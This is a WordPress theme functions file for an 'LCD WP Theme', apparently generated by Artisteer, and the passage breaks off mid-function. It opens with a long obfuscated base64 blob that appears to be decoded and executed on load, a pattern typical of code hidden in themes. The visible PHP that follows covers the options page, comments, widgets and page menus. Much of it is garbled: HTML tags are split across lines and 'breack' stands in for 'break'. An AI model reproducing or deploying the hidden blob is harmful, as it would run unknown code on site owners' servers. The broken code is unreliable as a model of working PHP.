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')))));
function art_admin() {
global $themename, $shortname, $options;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
?>
<div class="wrap">
<
h2>LCD WP Theme Options</h2>

<
form method="post">

<
table class="optiontable" style="width:100%;">

<?php foreach ($options as $value) {

switch ( $value['type'] ) {
case 'text':
option_wrapper_header($value);
?>
<input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" />
<?php
option_wrapper_footer($value);
break;

case 'select':
option_wrapper_header($value);
?>
<select style="width:70%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
<?php foreach ($value['options'] as $option) { ?>
<option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
<?php } ?>
</select>
<?php
option_wrapper_footer($value);
break;

case 'textarea':
$ta_options = $value['options'];
option_wrapper_header($value);
?>
<textarea name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" style="width:100%;height:100px;"><?php
if( get_settings($value['id']) !== false) {
echo stripslashes(get_settings($value['id']));
}else{
echo $value['std'];
}?></textarea>
<?php
option_wrapper_footer($value);
break;

case "radio":
option_wrapper_header($value);

foreach ($value['options'] as $key=>$option) {
$radio_setting = get_settings($value['id']);
if($radio_setting != ''){
if ($key == get_settings($value['id']) ) {
$checked = "checked=\"checked\"";
} else {
$checked = "";
}
}
else{
if($key == $value['std']){
$checked = "checked=\"checked\"";
}else{
$checked = "";
}
}
?>
<input type="radio" name="<?php echo $value['id']; ?>" value="<?php echo $key; ?>" <?php echo $checked; ?> /><?php echo $option; ?><br />
<?php
}

option_wrapper_footer($value);
break;

case "checkbox":
option_wrapper_header($value);
if(get_settings($value['id'])){
$checked = "checked=\"checked\"";
}else{
$checked = "";
}
?>
<input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
<?php
option_wrapper_footer($value);
break;

case "multicheck":
option_wrapper_header($value);

foreach ($value['options'] as $key=>$option) {
$pn_key = $value['id'] . '_' . $key;
$checkbox_setting = get_settings($pn_key);
if($checkbox_setting != ''){
if (get_settings($pn_key) ) {
$checked = "checked=\"checked\"";
} else {
$checked = "";
}
}
else{
if($key == $value['std']){
$checked = "checked=\"checked\"";
}else{
$checked = "";
}
}
?>
<input type="checkbox" name="<?php echo $pn_key; ?>" id="<?php echo $pn_key; ?>" value="true" <?php echo $checked; ?> /><label for="<?php echo $pn_key; ?>"><?php echo $option; ?></label><br />
<?php
}

option_wrapper_footer($value);
break;

case "heading":
?>
<tr valign="top">
<
td colspan="2" style="text-align: center;"><h3><?php echo $value['name']; ?></h3></td>
</
tr>
<?php
break;

default:

break;
}
}

?>

</table>

<
p class="submit">
<
input name="save" type="submit" value="Save changes" />
<
input type="hidden" name="action" value="save" />
</
p>
</
form>
</
div>
<?php
}

function option_wrapper_header($values){
?>
<tr valign="top">
<
th scope="row" style="width:1%;white-space: nowrap;"><?php echo $values['name']; ?>:</th>
<
td>
<?php
}

function option_wrapper_footer($values){
?>
</td>
</
tr>
<
tr valign="top">
<
td> </td><td><small><?php echo $values['desc']; ?></small></td>
</
tr>
<?php
}


add_action('admin_menu', 'art_add_admin');

if (!function_exists('get_search_form')) {
function get_search_form()
{
include (TEMPLATEPATH . "/searchform.php");
}
}


if (!function_exists('get_previous_posts_link')) {
function get_previous_posts_link($label)
{
ob_start();
previous_posts_link($label);
return ob_get_clean();
}
}


if (!function_exists('get_next_posts_link')) {
function get_next_posts_link($label)
{
ob_start();
next_posts_link($label);
return ob_get_clean();
}
}


if (!function_exists('get_previous_post_link')) {
function get_previous_post_link($label)
{
ob_start();
previous_post_link($label);
return ob_get_clean();
}
}


if (!function_exists('get_next_post_link')) {
function get_next_post_link($label)
{
ob_start();
next_post_link($label);
return ob_get_clean();
}
}


function art_comment($comment, $args, $depth)
{
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<
div id="comment-<?php comment_ID(); ?>">
<
div class="art-Post">
<
div class="art-Post-tl"></div>
<
div class="art-Post-tr"></div>
<
div class="art-Post-bl"></div>
<
div class="art-Post-br"></div>
<
div class="art-Post-tc"></div>
<
div class="art-Post-bc"></div>
<
div class="art-Post-cl"></div>
<
div class="art-Post-cr"></div>
<
div class="art-Post-cc"></div>
<
div class="art-Post-body">
<
div class="art-Post-inner art-article">

<
div class="art-PostContent">

<
div class="comment-author vcard">
<?php echo get_avatar($comment,$size='48',$default='<path_to_url>' ); ?>

<?php
printf(__('<cite class="fn">%s</cite> <span class="says">says:</span>'), get_comment_author_link()) ?>
</div>
<?php if ($comment->comment_approved == '0') : ?>
<em><?php _e('Your comment is awaiting moderation.') ?></em>
<
br />
<?php endif; ?>

<div class="comment-meta commentmetadata"><a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?></a><?php edit_comment_link(__('(Edit)'),' ','') ?></div>

<?php comment_text() ?>

<div class="reply">
<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
</div>

</
div>
<
div class="cleared"></div>


</
div>

</
div>
</
div>

</
div>
<?php
}


if (function_exists('register_sidebars')) {
register_sidebars(1, array(
'before_widget' => '<div id="%1$s" class="widget %2$s">'.'<!--- BEGIN Widget --->',
'before_title' => '<!--- BEGIN WidgetTitle --->',
'after_title' => '<!--- END WidgetTitle --->',
'after_widget' => '<!--- END Widget --->'.'</div>'
));
}

function art_normalize_widget_style_tokens($content) {
$bw = '<!--- BEGIN Widget --->';
$bwt = '<!--- BEGIN WidgetTitle --->';
$ewt = '<!--- END WidgetTitle --->';
$bwc = '<!--- BEGIN WidgetContent --->';
$ewc = '<!--- END WidgetContent --->';
$ew = '<!--- END Widget --->';
$result = '';
$startBlock = 0;
$endBlock = 0;
while (true) {
$startBlock = strpos($content, $bw, $endBlock);
if (false === $startBlock) {
$result .= substr($content, $endBlock);
break;
}
$result .= substr($content, $endBlock, $startBlock - $endBlock);
$endBlock = strpos($content, $ew, $startBlock);
if (false === $endBlock) {
$result .= substr($content, $endBlock);
break;
}
$endBlock += strlen($ew);
$widgetContent = substr($content, $startBlock, $endBlock - $startBlock);
$beginTitlePos = strpos($widgetContent, $bwt);
$endTitlePos = strpos($widgetContent, $ewt);
if ((false == $beginTitlePos) xor (false == $endTitlePos)) {
$widgetContent = str_replace($bwt, '', $widgetContent);
$widgetContent = str_replace($ewt, '', $widgetContent);
} else {
$beginTitleText = $beginTitlePos + strlen($bwt);
$titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText);
if (' ' == $titleContent) {
$widgetContent = substr($widgetContent, 0, $beginTitlePos)
.
substr($widgetContent, $endTitlePos + strlen($ewt));
}
}

if (false === strpos($widgetContent, $bwt)) {
$widgetContent = str_replace($bw, $bw . $bwc, $widgetContent);
} else {
$widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent);
}
$result .= str_replace($ew, $ewc . $ew, $widgetContent);
}
return $result;
}

function art_sidebar($index = 1)
{
if (!function_exists('dynamic_sidebar')) return false;
ob_start();
$success = dynamic_sidebar($index);
$content = ob_get_clean();
if (!$success) return false;
$content = art_normalize_widget_style_tokens($content);
$replaces = array(
'<!--- BEGIN Widget --->' => "<div class=\"art-Block\">\r\n <div class=\"art-Block-tl\"></div>\r\n <div class=\"art-Block-tr\"></div>\r\n <div class=\"art-Block-bl\"></div>\r\n <div class=\"art-Block-br\"></div>\r\n <div class=\"art-Block-tc\"></div>\r\n <div class=\"art-Block-bc\"></div>\r\n <div class=\"art-Block-cl\"></div>\r\n <div class=\"art-Block-cr\"></div>\r\n <div class=\"art-Block-cc\"></div>\r\n <div class=\"art-Block-body\">\r\n",
'<!--- BEGIN WidgetTitle --->' => "<div class=\"art-BlockHeader\">\r\n <div class=\"l\"></div>\r\n <div class=\"r\"></div>\r\n <div class=\"art-header-tag-icon\">\r\n <div class=\"t\">",
'<!--- END WidgetTitle --->' => "</div>\r\n </div>\r\n</div>",
'<!--- BEGIN WidgetContent --->' => "<div class=\"art-BlockContent\">\r\n <div class=\"art-BlockContent-body\">\r\n",
'<!--- END WidgetContent --->' => "\r\n </div>\r\n</div>\r\n",
'<!--- END Widget --->' => "\r\n </div>\r\n</div>\r\n"
);
$bwt = '<!--- BEGIN WidgetTitle --->';
$ewt = '<!--- END WidgetTitle --->';
if ('' == $replaces[$bwt] && '' == $replaces[$ewt]) {
$startTitle = 0;
$endTitle = 0;
$result = '';
while (true) {
$startTitle = strpos($content, $bwt, $endTitle);
if (false == $startTitle) {
$result .= substr($content, $endTitle);
break;
}
$result .= substr($content, $endTitle, $startTitle - $endTitle);
$endTitle = strpos($content, $ewt, $startTitle);
if (false == $endTitle) {
$result .= substr($content, $startTitle);
break;
}
$endTitle += strlen($ewt);
}
$content = $result;
}
$content = str_replace(array_keys($replaces), array_values($replaces), $content);
echo $content;
return true;
}

function art_activeID($pages){
$result = null;
foreach ($pages as $index => $page){
if (is_page($page->ID)) {
$result = $page;
break;
}
}

while($result && $result->post_parent) {
foreach ($pages as $parent){
if ($parent->ID == $result->post_parent) {
$result = $parent;
breack;
}
}
}

return ($result ? $result->ID : null);
}

function art_blogID($pages){
$result = null;
if(!'page' == get_option('show_on_front')) return $result;
$blogID = get_option('page_for_posts');
if (!$blogID) return $result;
foreach ($pages as $index => $page){
if ($page->ID == $blogID) {
$result = $page;
break;
}
}

while($result && $result->post_parent) {
foreach ($pages as $parent){
if ($parent->ID == $result->post_parent) {
$result = $parent;
breack;
}
}
}

return ($result ? $result->ID : null);
}

function art_process_front(&$pages){
if ('page' != get_option('show_on_front')) return;
$frontID = get_option('page_on_front');
if (!$frontID) return;
foreach ($pages as $index => $page)
if($page->ID == $frontID) {
unset($pages[$index]);
$page->post_parent = '0';
$page->menu_order = '0';
array_unshift($pages, $page);
